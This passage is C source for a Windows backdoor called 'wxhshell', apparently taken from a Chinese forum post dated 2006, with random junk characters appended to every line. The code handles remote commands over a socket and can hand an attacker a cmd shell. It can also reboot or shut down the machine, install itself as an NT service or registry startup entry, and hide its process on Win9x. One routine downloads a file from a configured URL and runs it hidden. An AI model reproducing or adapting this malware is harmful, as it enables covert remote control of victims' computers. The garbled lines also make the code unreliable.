  // 帮助 \>$3'i=mQ  
  case '?': { 6?(yMSKa  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 3N[Rrxe2  
    break; Ce/l[v  
  } xovsh\s  
  // 安装 MxgJ+  
  case 'i': { zq(4@S-TU  
    if(Install()) *^oL$_Y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Z% DJ{!Hnh  
    else i 558&:  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =u-q#<h4 ;  
    break; %?hvN  
    } y{KYR)   
  // 卸载 q6PG=9d0B  
  case 'r': { S4U}u l  
    if(Uninstall()) [H[L};%=j  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `r'$l<(4WV  
    else F|jl=i  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); uv=a}U;  
    break; N:q\i57x  
    } \,xa_zeO  
  // 显示 wxhshell 所在路径 H+{@V B  
  case 'p': { hd*GDjmRQ/  
    char svExeFile[MAX_PATH]; B:Y F|k}T  
    strcpy(svExeFile,"\n\r"); W{%X1::q$  
      strcat(svExeFile,ExeFile); Vk> &  
        send(wsh,svExeFile,strlen(svExeFile),0); pZcY[a  
    break; BCfmnE4%  
    } ,j6 R/sg  
  // 重启 GT7&>}FJ)  
  case 'b': { n)0M1o#  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); '%X29B5  
    if(Boot(REBOOT)) >4#: qIU  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #w3J+U 6r  
    else { &,P; 7R  
    closesocket(wsh); a&2UDl%K  
    ExitThread(0); [vY#9W"!  
    } ]Cs=EZr  
    break; WG&! VK  
    } 9W0*|!tQ,+  
  // 关机 Xs{PAS0  
  case 'd': { _7z]zy@PC5  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); {O:{F?  
    if(Boot(SHUTDOWN)) aGd wuD  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); j 1;<3)%0  
    else { DRpF EWsm  
    closesocket(wsh); >F>VlRg  
    ExitThread(0); km*Y#`{  
    } hVz] wKP  
    break; "O'c.v?{x  
    } 182g6/,  
  // 获取shell O/U?Wq  
  case 's': { HSWki';G  
    CmdShell(wsh); {+m8^-T  
    closesocket(wsh); ,CI-IR2  
    ExitThread(0); a>6D3n W  
    break; Q6HghG  
  } A%2B3@1'q  
  // 退出 HC} vO0X4  
  case 'x': { \HIBnkj)3n  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 02tt.0go  
    CloseIt(wsh); vV xw*\`<6  
    break; 74ho=  
    } Q}G2f4  
  // 离开 sv!zY= 6  
  case 'q': { n5%\FFG0M  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); $KQ q~|  
    closesocket(wsh); YKz#,  
    WSACleanup(); 9%Tqk"x?  
    exit(1); Zs]n0iwM'@  
    break; {sf ,(.W  
        } HUMy\u84H  
  } gV-*z}`U  
  } q1q 9W@H  
gs3c1Qa3b  
  // 提示信息 pSbtm74  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); fgs@oaoZ  
} o5j6(`#;  
  } I(Qz%/Ox  
(uDAdE5  
  return; eKy!Pai  
} -b iE  
O_qwD6s-_  
// shell模块句柄 t V( WhP  
int CmdShell(SOCKET sock) I eJI-lo  
{ Vz$xV!  
STARTUPINFO si; ,p3]`MG  
ZeroMemory(&si,sizeof(si)); X4 ] miUmh  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; eAo+w*D(  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; m94PFD@N  
PROCESS_INFORMATION ProcessInfo; Q=8YAiCu  
char cmdline[]="cmd"; bf@g*~h@  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 78{9@\e"0  
  return 0; 4BUG\~eI3  
} ?Wz2J3A.2t  
2GORGS%  
// 自身启动模式 (c)=Do=  
int StartFromService(void) 8HFCmY#  
{ ?_FL 'G  
typedef struct V'e%%&g~N  
{ Q 8Hl7__^  
  DWORD ExitStatus; PDPK|FU  
  DWORD PebBaseAddress; P))BS  
  DWORD AffinityMask; p5$}h,7  
  DWORD BasePriority; Yb^e7Eug  
  ULONG UniqueProcessId; Pc*lHoVL  
  ULONG InheritedFromUniqueProcessId; S't9F  
}   PROCESS_BASIC_INFORMATION; .hu7JM+  
?$K-f:?c  
PROCNTQSIP NtQueryInformationProcess; V]; i$  
}2@Z{5sh)  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; |,@D <  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; MOK}:^bSu  
O-HS)g$2  
  HANDLE             hProcess; &BLCP d  
  PROCESS_BASIC_INFORMATION pbi; J}&Us p  
CV\^gTPmx  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); EYn?YiVFU  
  if(NULL == hInst ) return 0; W03mdRW  
1$eoW/8.  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); F$DA/{.D  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 4VZI]3K,  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); , + G  
t$(#$Z,RS  
  if (!NtQueryInformationProcess) return 0; CDM6o!ur3  
_\KFMe= PV  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Dc@O Mr  
  if(!hProcess) return 0; COsmVQ.  
d_d&su E  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; =TDKU  
}< H>9iJ:  
  CloseHandle(hProcess); jQ;/=9  
bwzx_F/  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); &muBSQ-  
if(hProcess==NULL) return 0; ':fp|m)M  
3nG.ah  
HMODULE hMod; +Ps.HW#NY  
char procName[255]; I)V=$r{  
unsigned long cbNeeded; g%l ,a3"  
'o6}g p)  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ",3v%$ >  
6w7;  
  CloseHandle(hProcess); Nna.NU1  
kW)3naUf<  
if(strstr(procName,"services")) return 1; // 以服务启动 }ofb]_C,  
7JGc9K+Av  
  return 0; // 注册表启动 &Gh0f"?  
} j{OA%G(I  
4WvW11q8U  
// 主模块 T/g\v?>  
int StartWxhshell(LPSTR lpCmdLine) Tk?uJIS :  
{ D#L(ZlD4  
  SOCKET wsl; q4[8\Ua  
BOOL val=TRUE; 9^W7i]-Z  
  int port=0; S[exnZ*Y  
  struct sockaddr_in door; -DdHl8  
*sOb I(&  
  if(wscfg.ws_autoins) Install(); 3~T ~Bs  
ekvs3a^  
port=atoi(lpCmdLine); B^/MwD>%  
fr/EkL1Dl  
if(port<=0) port=wscfg.ws_port; ):'wxIVGI  
86OrJdD8  
  WSADATA data; -y-}g[`  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 3A!a7]fW  
>O?WRC B  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   `Y:]&w  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 5P\>$N1p  
  door.sin_family = AF_INET; w\acgQ^%e  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 7. <jdp  
  door.sin_port = htons(port); a2B71RT~  
4W" A*A  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { \1!Q.V  
closesocket(wsl); DLrV{8%W  
return 1; -`I|=lBz{H  
} \W .CHSD  
zuLW'a6F-  
  if(listen(wsl,2) == INVALID_SOCKET) { rP4T;Clout  
closesocket(wsl); Nu6NyYs  
return 1; ?Z 2,?G  
} iSCkV2  
  Wxhshell(wsl); ZU`9]7"87B  
  WSACleanup(); Ax&!Nz+?  
gS~H1Ro  
return 0; _=~u\$  
p[C"K0>:_F  
} P:'wSE91  
D!~ Y"4<  
// 以NT服务方式启动 btuG%D{a^  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Bib<ySCre  
{ mcV<)UA}  
DWORD   status = 0; m`-);y  
  DWORD   specificError = 0xfffffff; J _O5^=BP  
|T6K?:U7  
  serviceStatus.dwServiceType     = SERVICE_WIN32; M M@,J<  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; }n==^2  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; wtek5C^  
  serviceStatus.dwWin32ExitCode     = 0; !d N[9}  
  serviceStatus.dwServiceSpecificExitCode = 0; ZRxOXt&;  
  serviceStatus.dwCheckPoint       = 0; ?$6H',u  
  serviceStatus.dwWaitHint       = 0; i\6CE|  
0SL{J*S4[#  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 1Z}5ykM3  
  if (hServiceStatusHandle==0) return; *DPX4 P  
[h3xW  
status = GetLastError(); G]=z ![$  
  if (status!=NO_ERROR) xG/Q%A  
{ mU #F>  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 4f\NtQ)  
    serviceStatus.dwCheckPoint       = 0; W'@ |ob  
    serviceStatus.dwWaitHint       = 0; M- ^I!C  
    serviceStatus.dwWin32ExitCode     = status; bp?5GU&Uy  
    serviceStatus.dwServiceSpecificExitCode = specificError; ln82pQD2Y~  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); gyvrQ, u  
    return; ,0! 2x"Q=  
  } v1:.t  
+yP!7]  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; uxf,95<g)  
  serviceStatus.dwCheckPoint       = 0; $.jG O!  
  serviceStatus.dwWaitHint       = 0; u(f   
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); jA{5)-g  
} OBAO(Ke  
%4*c/ c6  
// 处理NT服务事件,比如:启动、停止 bCw{9El!K4  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ?#K.D vGJ  
{ *C*ZmC5  
switch(fdwControl) n-ffX*zA(  
{ |Vpp'ipr  
case SERVICE_CONTROL_STOP: ~qgh w@Q~  
  serviceStatus.dwWin32ExitCode = 0; +5zXbfO  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; gs'M^|e)  
  serviceStatus.dwCheckPoint   = 0; -%` ~3*L  
  serviceStatus.dwWaitHint     = 0; (TT=i  
  { 6|jZv~rS$  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 2`f{D~w  
  } w<9rTHG8,  
  return; Fv~lasW[  
case SERVICE_CONTROL_PAUSE: _RIU,uJs  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; p1KhI;^  
  break; DU!T#H7  
case SERVICE_CONTROL_CONTINUE: '3l TI  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; fUjo',<s  
  break; fB$a )~  
case SERVICE_CONTROL_INTERROGATE: E`fG9:6l]  
  break; )7 p" -  
}; ;_cTrjMv\  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); _N`.1Dl%Q  
} ?Y~t{5NJR  
WN'AQ~qA  
// 标准应用程序主函数 $@z77td3  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) U?0|2hR~  
{ H+[?{+"#@l  
v+nXKNL  
// 获取操作系统版本 H~j@n!)  
OsIsNt=GetOsVer(); jSem/;  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Av.tr&ZNb  
R:~aX,qR  
  // 从命令行安装 8 1Kf X {|  
  if(strpbrk(lpCmdLine,"iI")) Install(); dtR"5TL<~}  
['mpxtG  
  // 下载执行文件 k)b{ UFRW  
if(wscfg.ws_downexe) { ]\M{Abqd{  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) VIp|U{  
  WinExec(wscfg.ws_filenam,SW_HIDE); 9mi@PW}1  
} ] U>MYdGWb  
Ypyi(_G(?>  
if(!OsIsNt) { hZ45i?%  
// 如果时win9x,隐藏进程并且设置为注册表启动 |A3"Jc.2o  
HideProc(); IBT>&(cnV  
StartWxhshell(lpCmdLine); T)zk2\u  
} eft=k}  
else pQa51nc  
  if(StartFromService()) xTAfV N  
  // 以服务方式启动 F1yn@a "=J  
  StartServiceCtrlDispatcher(DispatchTable); 9kD#'BxC  
else CPJ<A,V  
  // 普通方式启动 doanTF4Da  
  StartWxhshell(lpCmdLine); |=}+%>y_  
&ivU4rEG  
return 0; >#G%2Vp  
}
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只看该作者 1 发表于: 2006-10-10
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